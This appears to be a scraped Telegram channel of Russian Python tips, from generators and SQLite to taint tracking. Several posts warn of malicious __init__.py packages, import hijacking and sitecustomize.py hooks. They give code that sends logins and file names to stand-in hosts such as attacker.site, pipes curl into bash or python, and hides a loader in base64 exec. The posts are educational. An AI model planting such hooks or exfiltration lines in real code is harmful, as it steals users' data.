В Python код — это тоже данные. А значит, его можно прочитать, изменить и выполнить.
Ты буквально пишешь скрипт, который переписывает другой (или самого себя).
with open("script.py", "r") as f:
code = f.read()
code = code.replace("DEBUG = False", "DEBUG = True")
with open("script.py", "w") as f:
f.write(code)snippet = "\nprint('🐍 Я добавлен автоматически')\n"
with open("target.py", "a") as f:
f.write(snippet)exec() для динамического выполненияcode = """
def dynamic_func():
print("Hello from dynamic code!")
"""
exec(code)
dynamic_func()
exec позволяет выполнить строку с кодом — она "оживает" во время выполненияТеперь немного глубже. Не просто текст — а синтаксическое дерево кода.
import ast
tree = ast.parse("x = 2\ny = x + 3")
for node in ast.walk(tree):
print(type(node).__name__)
ast.parse() превращает код в дерево объектов: ты можешь его анализировать или менятьimport ast
import astor
code = "x = 2\ny = x + 3"
tree = ast.parse(code)
tree.body.append(ast.parse("print(y)").body[0])
new_code = astor.to_source(tree)
print(new_code)
print(y) в конец кода — это уже настоящая трансформация кода на летуast, если хочешь безопасность и контроль. exec() — мощно, но опасно.Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍2🔥1😐1
Когда ты получаешь ввод от пользователя — это не просто строка, это потенциальный вектор атаки. Важно отслеживать такие значения и не допускать их в критические операции (shell, SQL, шаблоны) без фильтрации.
Решение — taint tracking: пометка «заражённых» данных и распространение этого статуса в коде.
str с флагом зараженияclass TaintedStr(str):
def __new__(cls, content, tainted=True):
obj = super().__new__(cls, content)
obj.tainted = tainted
return obj
def __add__(self, other):
other_taint = getattr(other, "tainted", False)
return TaintedStr(super().__add__(other), self.tainted or other_taint)
def strip(self):
return TaintedStr(super().strip(), self.tainted)
def lower(self):
return TaintedStr(super().lower(), self.tainted)
Мы создаём обёртку вокруг
str, которая сохраняет флаг tainted=True, и автоматически переносит его при операциях (+, strip, lower и т.д.).user_input = TaintedStr(" DROP TABLE users; ")
print(user_input) # DROP TABLE users;
print(user_input.tainted) # Truecleaned = user_input.strip().lower()
print(cleaned) # drop table users;
print(cleaned.tainted) # True
strip() и lower() строка остаётся «заражённой». Это важно: механическая очистка не гарантирует безопасность.def run_shell(command):
if getattr(command, "tainted", False):
raise RuntimeError("Заблокировано: команда содержит внешние данные.")
print("OK:", command)
run_shell(cleaned) # RuntimeError
tainted, выбрасываем исключение. Это защищает от инъекций.def sanitize(value):
return TaintedStr(value.strip(), tainted=False)
trusted = sanitize(user_input)
run_shell(trusted) # OK
q1 = TaintedStr("SELECT * FROM users WHERE name = '", tainted=False)
q2 = TaintedStr("admin'; DROP TABLE users;", tainted=True)
q3 = TaintedStr("';", tainted=False)
query = q1 + q2 + q3
print(query.tainted) # Truetainted. Это основной принцип распространения.def taint_propagates(fn):
def wrapper(*args, **kwargs):
tainted = any(getattr(arg, "tainted", False) for arg in args)
result = fn(*args, **kwargs)
if isinstance(result, str):
return TaintedStr(result, tainted)
return result
return wrapper
@taint_propagates
def build_path(username):
return f"/home/{username}"
tainted, и возвращается строка — помечаем результат как tainted.def render_template(tmpl, context):
if getattr(tmpl, "tainted", False):
raise RuntimeError("Нельзя рендерить шаблон с внешними данными")
return tmpl.format(**context)
safe = TaintedStr("Hello, {name}", tainted=False)
danger = TaintedStr("{name}", tainted=True)
render_template(safe, {"name": "Alice"}) # OK
render_template(danger, {"name": "Alice"}) # RuntimeError
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍1
Веб‑разработка на Python активно развивается: появляются новые инструменты, улучшающие производительность, асинхронность и удобство. Хочешь всегда оставаться в тренде? Эта статья для тебя!
В статье ты узнаешь:
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍5
Nginx пишет логи вот в таком виде (по умолчанию):
192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /index.html HTTP/1.1" 200 123 "-" "curl/7.68.0"
Реальный парсинг, без grep, на Python.
import re
log_line = '''192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /index.html HTTP/1.1" 200 123 "-" "curl/7.68.0"'''
pattern = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+)\s.*?"(?P<method>GET|POST|PUT|DELETE)\s(?P<path>/\S*)\sHTTP/[\d.]+"\s(?P<status>\d{3})'
)
match = pattern.search(log_line)
print(match.groupdict())
{'ip': '192.168.1.5', 'method': 'GET', 'path': '/index.html', 'status': '200'}with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m and m["status"].startswith("5"):
print(f'{m["ip"]} → {m["status"]} на {m["path"]}')from collections import Counter
ips = []
with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m:
ips.append(m["ip"])
for ip, count in Counter(ips).most_common(5):
print(f"{ip} — {count} запросов")
$request_time (если ты включил в лог формат)Если ты прописал
$request_time в log_format, строка лога может выглядеть так:192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /api/data HTTP/1.1" 200 345 "-" "-" 1.245
pattern = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+)\s(?P<path>\S+).*"\s(?P<status>\d+).*\s(?P<time>\d+\.\d+)$'
)
with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m and float(m["time"]) > 1.0:
print(f"{m['path']} — медленно: {m['time']} сек")
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍3🔥2👏1
Если ты до сих пор считал asyncio сложным или ненужным, самое время пересмотреть своё мнение. Совсем недавно в Medium вышла статья, где автор делится, как асинхронный Python перестал быть загадкой и стал мощным инструментом.
В статье ты узнаешь:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍1😭1
Если ты разрабатываешь Python‑бэкенд на FastAPI и сталкиваешься с долгими операциями — такими как отправка email, генерация отчетов или обработка файлов —
BackgroundTasks станет твоим секретным оружием.В статье ты узнаешь:
@app.post("/process")
async def process(data: str, background_tasks: BackgroundTasks):
background_tasks.add_task(save_to_db, data)
return {"status": "accepted"}BackgroundTasks — не просто “полезный бонус”, а ключ — к быстрому, отзывчивому API.Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
Python умеет не только считать, но и создавать — музыку, звуки, картинки, абстракции, даже MIDI и визуализации.
mido и pygame.midiСоздадим простую MIDI-мелодию прямо из Python.
from mido import Message, MidiFile, MidiTrack
mid = MidiFile()
track = MidiTrack()
mid.tracks.append(track)
notes = [60, 62, 64, 65, 67, 69, 71, 72] # До-мажор
for note in notes:
track.append(Message('note_on', note=note, velocity=64, time=120))
track.append(Message('note_off', note=note, velocity=64, time=120))
mid.save('scale.mid')
scale.mid, который можно открыть в любом MIDI-плеере или DAW (FL Studio, GarageBand).mido даёт к ним простой Python-интерфейс.Pillow и шумомСоздадим абстрактную картинку — просто как визуальное искусство.
from PIL import Image
import random
img = Image.new('RGB', (256, 256))
pixels = img.load()
for x in range(256):
for y in range(256):
r = random.randint(0, 255)
g = (x + y) % 256
b = (x * y) % 256
pixels[x, y] = (r, g, b)
img.save('abstract.png')
turtle — рисование как в логотипеimport turtle
t = turtle.Turtle()
t.speed(0)
for i in range(360):
t.forward(i * 0.5)
t.right(59)
turtle.done()
matplotlib + Perlin noise — для фракталов, текстур, геометрииmusic21, scamp, pretty_midi — для анализа и генерации партитурMagenta, DeepDream, VQGAN+CLIP — генерация с помощью MLPlease open Telegram to view this post
VIEW IN TELEGRAM
❤3❤🔥2👍2
== работает не так, как ты думаешьТы написал:
if accuracy == 0.9:
do_something()
Но
do_something() не вызвался, хотя ты уверен: accuracy был 0.9.== даёт Falsea = 0.1 + 0.2
b = 0.3
print(a) # 0.30000000000000004
print(b) # 0.3
print(a == b) # False ❌
0.1 и 0.2 не могут быть точно представлены в двоичной системе. Они чуть-чуть больше или меньше, чем ты думаешь.1. Через `math.isclose()`
import math
a = 0.1 + 0.2
b = 0.3
if math.isclose(a, b, rel_tol=1e-9):
print("Они почти равны ✅")
rel_tol — относительная погрешность (доля от значения)1e-9, но можно настраивать2. Или вручную через `abs()`
if abs(a - b) < 1e-9:
print("Тоже нормально ✅")
accuracy = 0.89999999999999
if accuracy == 0.9:
print("Готово!") # ❌ не сработает
if math.isclose(accuracy, 0.9, rel_tol=1e-3):
print("Готово!") # ✅
def test_calc():
assert (0.1 + 0.2) == 0.3 # ❌ сломается
def test_calc():
assert math.isclose(0.1 + 0.2, 0.3) # ✅
data = [0.1 + 0.2, 0.3, 0.4]
filtered = [x for x in data if x == 0.3]
print(filtered) # ❌ пусто
filtered = [x for x in data if math.isclose(x, 0.3)]
print(filtered) # ✅ [0.30000000000000004, 0.3]
DecimalЕсли тебе нужна точная математика, например для денег:
from decimal import Decimal
print(Decimal("0.1") + Decimal("0.2") == Decimal("0.3")) # ✅ True
float1 == float2.Используй math.isclose() или abs(a - b) < ε.Это не придирка — это баг, который может сидеть тихо в проде, в тестах, в логике. Всегда проверяй float сравнение глазами.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤4🔥3
pygame tkinter — когда брать, зачем и как работают в кодеДва способа рисовать и управлять интерфейсом в Python.
Но задачи у них разные: один про GUI, другой — про полный контроль над графикой.
🪟
tkinterimport tkinter as tk
def clicked():
print("✅ Нажали!")
root = tk.Tk()
tk.Button(root, text="Нажми", command=clicked).pack()
root.mainloop()
Ты просто вызываешь виджеты. Интерфейс работает сразу.
pygameimport pygame
pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
elif e.type == pygame.MOUSEBUTTONDOWN:
x, y = e.pos
if 100 <= x <= 200 and 80 <= y <= 120:
print("✅ Нажали!")
screen.fill((30, 30, 30))
pygame.draw.rect(screen, (0, 255, 0), (100, 80, 100, 40))
pygame.display.flip()
clock.tick(60)
Нет виджетов — есть графика и контроль.
tkinter (через canvas)import tkinter as tk
def move(event):
canvas.move(circle, 10, 0)
root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()
circle = canvas.create_oval(50, 80, 100, 130, fill="blue")
root.bind("<Right>", move)
root.mainloop()
Canvas — как 2D-слой для простых визуализаций.
pygameimport pygame
pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 50
while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
keys = pygame.key.get_pressed()
if keys[pygame.K_RIGHT]:
x += 5
screen.fill((0, 0, 0))
pygame.draw.circle(screen, (0, 0, 255), (x, 100), 25)
pygame.display.flip()
clock.tick(60)
Поведение на 100% контролируешь ты.
tkinter — через afterimport tkinter as tk
x = 10
def animate():
global x
canvas.move(ball, 2, 0)
x += 2
if x < 280:
root.after(20, animate)
root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()
ball = canvas.create_oval(10, 90, 40, 120, fill="red")
animate()
root.mainloop()
after() — таймер событий.pygame — анимация встроенаimport pygame
pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 10
while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
x += 2
screen.fill((255, 255, 255))
pygame.draw.circle(screen, (255, 0, 0), (x, 100), 15)
pygame.display.flip()
clock.tick(60)
Это делает
pygame идеальным для плавной и быстрой графики.| tkinter | pygame |
| ------------------------------ | -------------------------- |
| Всё готово (кнопки, поля) | Ничего нет — рисуешь сам |
| События через command/bind | Цикл обработки событий |
| Canvas как "поверхность" | Экран = всё рисуешь сам |
| GUI-утилиты, формы | Игры, визуализации, физика |
tkinter — это когда нужен интерфейс, меню, формы, поля, кнопки.pygame — когда нужен рендеринг, сцена, физика, анимация.Они оба важны. Просто у каждого — своя территория.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍3
Работаешь с нейросетями? Даже если модель хорошая — мелкие баги в данных, reshape и обучении могут всё испортить.
Вот что нужно реально проверять — с примерами:
model.predict() и fit() — разные форматы# обучение
model.fit(X_train, y_train)
# предсказание
pred = model.predict(X_test)
print(X_test.shape) # (100, 28, 28)
X_test.shape == (28, 28) — будет shape mismatch, и баг не всегда очевиден..shape, особенно batch dimension.from tensorflow.keras.utils import to_categorical
y = [0, 1, 2]
y_cat = to_categorical(y, num_classes=3)
# для categorical_crossentropy нужна one-hot
# для sparse_categorical_crossentropy — просто int
categorical_crossentropy — модель не будет учиться.model.evaluate() ≠ model.predict()score = model.evaluate(X_test, y_test)
print("Loss:", score)
evaluate() даёт loss/accuracy.Не путай с
predict() — он просто возвращает массив вероятностей.model.save() сохраняет не всёmodel.save("mymodel.keras")Но: оптимизатор, метрики, custom-объекты могут потеряться, если не явно указал.
tf.data.Dataset — норм, но может молчать, если ошибка в генератореds = tf.data.Dataset.from_tensor_slices((X, y)).batch(32)
fit().Решение: отлаживай генераторы вручную, перед тем как пихать в
Dataset.model.summary() и plot_modelmodel.summary()
# или
from tensorflow.keras.utils import plot_model
plot_model(model, show_shapes=True)
loss, shape, one-hot, metrics или input format.Проверяй всё вручную — до обучения.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍2😐1
Генераторная функция - функция, в теле которой встречается ключевое слово
yield. Будучи вызвана, такая функция возвращает объект-генератор (generator object) (итератор генератора (generator iterator)).yield замораживает состояние функции-генератора и возвращает текущее значение. После следующего вызова __next__() функция-генератор продолжает своё выполнение с того места, где она была приостановлена.В чем отличие
[x for x in y] от (x for x in y) ?Первое выражение возвращает список (списковое включение), второе – генератор.
Что особенного в генераторе
Генератор хранит в памяти не все элементы, а только внутреннее состояние для вычисления очередного элемента. На каждом шаге можно вычислить только следующий элемент, но не предыдущий. Пройти генератор в цикле можно только один раз.
Как объявить генератор
(x for x in seq)yield в теле функции вместо returniter, которая вызывает у объекта метод __iter__(). Этот метод должен возвращать генератор.Как получить из генератора список
Передать его в конструктор списка:
list(x for x in some_seq). Важно, что после этого по генератору уже нельзя будет итерироваться.Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤3
Подгенераторы в Python — это механизм, позволяющий одной генераторной функции делегировать часть своей работы другой генераторной функции. Это реализуется с помощью конструкции
yield from.Пример:
def subgen():
yield 1
yield 2
def main_gen():
yield 'start'
yield from subgen()
yield 'end'
for item in main_gen():
print(item)
# start
# 1
# 2
# end
Зачем это нужно:
for.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6❤2
OrderedDict учитывает порядок добавления ключей.
for key in {'foo': 1, 'bar': 2}:
process_key(key)
Для итерации словаря по парам ключ-значение, можно использовать метод словаря
.items(), который возвращает генератор кортежей (key, value).
for key, value in {'foo': 1, 'bar': 2}.items():
print(f"k - {key}, v - {value}")
# k - foo, v - 1
# k - bar, v - 2
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍1
Даже опытный питонист тратит часы на поиски свежих гайдов и документации. Эта подборка с Habr собрала проверенные и актуальные ресурсы, чтобы учиться, развиваться и держать код в форме.
В статье вы найдёте:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3❤2🔥2
Одна из самых неприятных ловушек Python — это изменение списка внутри цикла, пока ты по нему итерируешься. Поведение может быть странным, непредсказуемым и багованным.
Вот почему это происходит и как избежать ошибок
numbers = [1, 2, 3, 4, 5]
for n in numbers:
if n % 2 == 0:
numbers.remove(n)
print(numbers)
[1, 3, 5]?[1, 3, 5] — и это ещё повезло. Иногда список "ломается" сильнее.Причина: Python итерируется по индексам, а ты меняешь структуру под ним. Итератор и список начинают «разъезжаться».
numbers = [1, 2, 3, 4, 5]
filtered = [n for n in numbers if n % 2 != 0]
print(filtered) # [1, 3, 5]
.copy():numbers = [1, 2, 3, 4, 5]
for n in numbers.copy():
if n % 2 == 0:
numbers.remove(n)
print(numbers) # [1, 3, 5]
data = {"a": 1, "b": 2, "c": 3}
for k in list(data.keys()):
if data[k] % 2 == 0:
del data[k]
print(data) # {'a': 1, 'c': 3}dict.keys() — используй list() для копии.Лучше создавай новую или итерируйся по копии.
Фильтрация списков, работа с dict, удаление элементов из множеств, обработка очередей, итерации с условиями.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7❤3
Когда не нужен полноценный PostgreSQL, а просто надо где-то хранить данные — SQLite идеально.
.db-файлеimport sqlite3
conn = sqlite3.connect("users.db") # создаёт файл, если нет
cursor = conn.cursor()
cursor.execute("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
age INTEGER
)
""")
conn.commit()
users — без серверов, Docker и настроек.cursor.execute("INSERT INTO users (username, age) VALUES (?, ?)", ("alice", 30))
conn.commit()? — это защита от SQL-инъекций.cursor.execute("SELECT * FROM users")
for row in cursor.fetchall():
print(row)cursor.execute("UPDATE users SET age = ? WHERE username = ?", (31, "alice"))
cursor.execute("DELETE FROM users WHERE age < ?", (18,))
conn.commit()conn.close()
Или так:
with sqlite3.connect("users.db") as conn:
...SQLite — идеальный вариант для прототипов, локальных тулз, ботов, скриптов и парсеров.
Поддерживает SQL, транзакции, индексы — и всё в одном файле.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍4🔥1
__init__.py в Python — как тебя могут взломать на ровном местеpip install requestz
Ты хотел
requests, а получил requestz. Внутри:# requestz/__init__.py
import os
import requests
requests.post("http://attacker.site", data={
"cwd": os.getcwd(),
"user": os.getlogin()
})
import requestz
И скрипт уже отправил данные.
📦 Импорт = Выполнение
В Python каждый
__init__.py — обычный код.Ты пишешь:
import foo
А Python делает:
1. Открывает
foo/__init__.py2. Выполняет его построчно
Вот пример:
# foo/__init__.py
print("🔥 Заработало")
os.system("curl http://evil.site/shell.py | python3")
main() — просто импорт = ты уже в игре.pip install evil-logger-0.1-py3-none-any.whl
Тебе передали файл “удобной логгера”, ты поставил. Всё, в
__init__.py был import os; os.system(...).Ты даже не подозреваешь.
# mylib/__init__.py
__import__("mylib.core.loader").boot()
А уже в
loader.py:def boot():
import os
os.system("curl http://bad.site/runme.sh | bash")
git clone https://github.com/fakecorp/data-utils.git
cd data-utils
pip install .
Внутри
data_utils/__init__.py:import base64, os
exec(base64.b64decode("aW1wb3J0IG9zO29zLnN5c3RlbSgiY3VybCA...=="))
__init__.py — это точка входа, которую никто не проверяет, но она исполняется всегда.Любая либа может стать трояном. Если ты ставишь чужой пакет — ты запускаешь чужой код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7❤3
Код может выглядеть красиво, но скрывать «запахи» и архитектурные проблемы. PyExamine — новый инструмент (январь 2025), который видит глубже обычного линтера и помогает держать код чистым и надёжным.
В статье вы найдёте:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
import: троян через namespace-подстановку📦 Подмена стандартного модуля
# В проекте рядом лежит logging.py
import os
import requests
requests.post("http://evil.site/steal", data=os.getlogin())
# В коде
import logging # ← думаешь, стандартный?
logging.Python сначала смотрит в текущую папку. Всё, утечка пошла.
import builtins
import requests
def fake_open(*args, **kwargs):
requests.post("http://evil.site/open", data="triggered")
return real_open(*args, **kwargs)
real_open = builtins.open
builtins.open = fake_open
open() и делает пост в фоне.__import__
name = "urllib.request"
mod = __import__(name.split(".")[0])
for part in name.split(".")[1:]:
mod = getattr(mod, part)
mod.urlopen("http://evil.site/ok")
import не видно.Ты смотришь на код — вроде чисто. А он выполняет всё, что нужно, скрыто.
import sys
import types
import requests
fake_os = types.ModuleType("os")
fake_os.getlogin = lambda: (requests.post("http://attacker.site", data="who"), "root")[1]
sys.modules["os"] = fake_os
fake_os, и ты получишь root, но ещё и отправку на сервер.
class Proxy:
@property
def secrets(self):
__import__('requests').post("http://leak.site", data="triggered")
return "nothing here"
import sys
sys.modules["secrets"] = Proxy()
secrets, вызовут property → произойдёт слив.🔀 Расширение init.py и подгрузка мусора
# somepkg/__init__.py
__import__("backdoor").run()
Ты ставишь:
pip install somepkg
А у тебя уже:
import somepkg # ← ничего не делал — уже слил
Python — динамический. Весь namespace можно переопределить, подсунуть, замаскировать.
Если ты не смотришь, что именно исполняется при импорте, ты уже проиграл.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍3🔥3😱3
__main__)main.pyРешение —
sitecustomize.py, который Python запускает автоматически при старте.sitecustomize.py# sitecustomize.py
import builtins
# Сохраняем оригинальную функцию
_real_open = builtins.open
# Подмена open()
def hooked_open(*args, **kwargs):
print(f"[HOOK] open{args}")
return _real_open(*args, **kwargs)
builtins.open = hooked_open
print("[HOOK] sitecustomize.py отработал")
import, __main__, argparse, чего угодно.Он перехватывает `open()` во всей системе.
# main.py
print("main.py запускается")
with open("demo.txt", "w") as f:
f.write("test")
Запуск:
python main.py
Результат:
[HOOK] sitecustomize.py отработал
[HOOK] open('demo.txt', 'w')
main.py запускается
sitecustomize.py выполнен первым, ещё до main.py.sitecustomize.pyPython ищет его в
sys.path. Один из вариантов — положить прямо в site-packages.python -m site
Найди путь вроде:
/usr/lib/python3.10/site-packages
Кидаем туда:
cp sitecustomize.py /usr/lib/python3.10/site-packages/
Теперь любой скрипт, запускаемый через этот Python, будет ловиться.
# sitecustomize.py
import builtins
import subprocess
def hooked_open(*args, **kwargs):
if "secrets" in str(args[0]):
print(f"[STEAL] попытка открыть секретный файл: {args[0]}")
subprocess.run(["curl", "-X", "POST", "--data", f"file={args[0]}", "http://attacker.site"])
return _real_open(*args, **kwargs)
_real_open = builtins.open
builtins.open = hooked_open
secrets.txt, автоматически сливает инфу.pip install или Jupyter попадутПоставь
sitecustomize.py глобально — и любой запуск Python, хоть pip, хоть jupyter notebook, будет перехвачен.🛑 Как защититься
python -S main.py
Флаг
-S отключает запуск sitecustomize.py и usercustomize.py.sitecustomize.py — это невидимая точка входа, которая исполняется до твоего кода.Через неё можно внедрить подмену функций, шпионить, саботировать — и ты не увидишь этого в
main.py.Please open Telegram to view this post
VIEW IN TELEGRAM
❤7
Миксин (mix-in, анг. “примесь”), паттерн проектирования в ООП, когда в цепочку наследования добавляется небольшой класс-помощник. Например, есть класс
class NowMixin(object):
def now():
return datetime.datetime.utcnow()
Тогда любой класс, наследованный с этим миксином, будет иметь метод
now().В названия миксинов принято добавлять слово Mixin, так как не существует никакого механизма для понимания полноценный это класс или миксин. Миксин технически является самым обычным классом.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4